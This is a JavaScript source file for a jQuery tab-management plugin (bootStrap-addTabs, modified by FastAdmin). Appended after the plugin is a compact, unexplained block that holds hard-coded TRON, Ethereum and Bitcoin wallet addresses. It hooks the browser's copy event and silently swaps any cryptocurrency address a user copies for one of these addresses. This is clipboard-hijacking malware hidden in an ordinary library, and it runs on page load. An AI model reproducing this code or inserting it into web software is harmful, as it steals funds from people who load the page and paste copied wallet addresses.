/** * http://git.oschina.net/hbbcs/bootStrap-addTabs * Created by joe on 2015-12-19. * Modified by FastAdmin */ (function ($) { $.fn.addtabs = function (options) { var obj = $(this); options = $.extend({ content: '', //直接指定所有页面TABS内容 close: true, //是否可以关闭 monitor: 'body', //监视的区域 nav: '.nav-addtabs', tab: '.tab-addtabs', iframeUse: true, //使用iframe还是ajax simple: false, //是否启用简洁模式,简洁模式下将不启用nav和tab iframeHeight: $(window).height() - 50, //固定TAB中IFRAME高度,根据需要自己修改 iframeForceRefresh: false, //点击后强制加载对应的iframe iframeForceRefreshTable: false, //点击后强制刷新对应的iframe中的table callback: function () { //关闭后回调函数 } }, options || {}); var navobj = $(options.nav); var tabobj = $(options.tab); if (history.pushState) { //浏览器前进后退事件 $(window).on("popstate", function (e) { var state = e.originalEvent.state; if (state) { $("a[addtabs=" + state.id + "]", options.monitor).data("pushstate", true).trigger("click"); } }); } $(options.monitor).on('click', '[addtabs]', function (e) { if ($(this).attr('url').indexOf("javascript:") !== 0) { if ($(this).is("a")) { e.preventDefault(); } var id = $(this).attr('addtabs'); var title = $(this).attr('title') ? $(this).attr('title') : $.trim($(this).text()); var url = $(this).attr('url'); var content = options.content ? options.content : $(this).attr('content'); var ajax = $(this).attr('ajax') === '1' || $(this).attr('ajax') === 'true'; var state = ({ url: url, title: title, id: id, content: content, ajax: ajax }); document.title = title; if (history.pushState && !$(this).data("pushstate")) { var pushurl = url.indexOf("ref=addtabs") === -1 ? (url + (url.indexOf("?") > -1 ? "&" : "?") + "ref=addtabs") : url; try { window.history.pushState(state, title, pushurl); } catch (e) { } } $(this).data("pushstate", null); _add.call(this, { id: id, title: $(this).attr('title') ? $(this).attr('title') : $(this).html(), content: content, url: url, ajax: ajax }); } }); navobj.on('click', '.close-tab', function () { var id = $(this).prev("a").attr("aria-controls"); _close(id); return false; }); navobj.on('dblclick', 'li[role=presentation]', function () { $(this).find(".close-tab").trigger("click"); }); navobj.on('click', 'li[role=presentation]', function () { $("a[addtabs=" + $("a", this).attr("node-id") + "]").trigger("click"); }); $(window).resize(function () { if (typeof options.nav === 'object') { var siblingsWidth = 0; navobj.siblings().each(function () { siblingsWidth += $(this).outerWidth(); }); navobj.width(navobj.parent().width() - siblingsWidth); } else { $("#nav").width($("#header").find("> .navbar").width() - $(".sidebar-toggle").outerWidth() - $(".navbar-custom-menu").outerWidth() - 20); } _drop(); }); var _add = function (opts) { var id, tabid, conid, url; id = opts.id; tabid = 'tab_' + opts.id; conid = 'con_' + opts.id; url = opts.url; url += (opts.url.indexOf("?") > -1 ? "&addtabs=1" : "?addtabs=1"); if (options.simple) { navobj.find("[role='presentation']").remove(); tabobj.find("[role='tabpanel']").remove(); } var tabitem = $('#' + tabid, navobj); var conitem = $('#' + conid, tabobj); navobj.find("[role='presentation']").removeClass('active'); tabobj.find("[role='tabpanel']").removeClass('active'); //如果TAB不存在,创建一个新的TAB if (tabitem.length === 0) { //创建新TAB的title tabitem = $(''); //是否允许关闭 if (options.close && $("li", navobj).length > 0) { tabitem.append(' '); } if (conitem.length === 0) { //创建新TAB的内容 conitem = $('
'); //是否指定TAB内容 if (opts.content) { conitem.append(opts.content); } else if (options.iframeUse && !opts.ajax) {//没有内容,使用IFRAME打开链接 var height = options.iframeHeight; conitem.append(''); } else { $.get(url, function (data) { conitem.append(data); }); } tabobj.append(conitem); } if (!options.simple) { //加入TABS if ($('.tabdrop li', navobj).length > 0) { $('.tabdrop ul', navobj).append(tabitem); } else { navobj.append(tabitem); } } } else { //强制刷新iframe if (options.iframeForceRefresh) { $("#" + conid + " iframe").attr('src', function (i, val) { return val; }); } else if (options.iframeForceRefreshTable) { try { //检测iframe中是否存在刷新按钮 if ($("#" + conid + " iframe").contents().find(".btn-refresh:not([data-force-refresh=false])").length > 0) { $("#" + conid + " iframe")[0].contentWindow.$(".btn-refresh:not([data-force-refresh=false])").trigger("click"); } } catch (e) { } } } sessionStorage.setItem("addtabs", $(this).prop('outerHTML')); //激活TAB tabitem.addClass('active'); conitem.addClass("active"); _drop(); }; var _close = function (id) { var tabid = 'tab_' + id; var conid = 'con_' + id; var tabitem = $('#' + tabid, navobj); var conitem = $('#' + conid, tabobj); //如果关闭的是当前激活的TAB,激活他的前一个TAB if (obj.find("li.active").not('.tabdrop').attr('id') === tabid) { var prev = tabitem.prev().not(".tabdrop"); var next = tabitem.next().not(".tabdrop"); if (prev.length > 0) { prev.find('a').trigger("click"); } else if (next.length > 0) { next.find('a').trigger("click"); } else { $(">li:not(.tabdrop):last > a", navobj).trigger('click'); } } //关闭TAB tabitem.remove(); conitem.remove(); _drop(); options.callback(); }; var _drop = function () { navobj.refreshAddtabs(); }; }; //刷新Addtabs $.fn.refreshAddtabs = function () { var navobj = $(this); var dropdown = $(".tabdrop", navobj); if (dropdown.length === 0) { dropdown = $(''); dropdown.prependTo(navobj); } //检测是否有下拉样式 if (navobj.parent().is('.tabs-below')) { dropdown.addClass('dropup'); } var collection = 0; var maxwidth = navobj.width() - 65; var liwidth = 0; //检查超过一行的标签页 var litabs = navobj.append(dropdown.find('li')).find('>li').not('.tabdrop'); var totalwidth = 0; litabs.each(function () { totalwidth += $(this).outerWidth(true); }); if (navobj.width() < totalwidth) { litabs.each(function () { liwidth += $(this).outerWidth(true); if (liwidth > maxwidth) { dropdown.find('ul').append($(this)); collection++; } }); if (collection > 0) { dropdown.removeClass('hide'); if (dropdown.find('.active').length === 1) { dropdown.addClass('active'); } else { dropdown.removeClass('active'); } } } else { dropdown.addClass('hide'); } }; })(jQuery); (function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();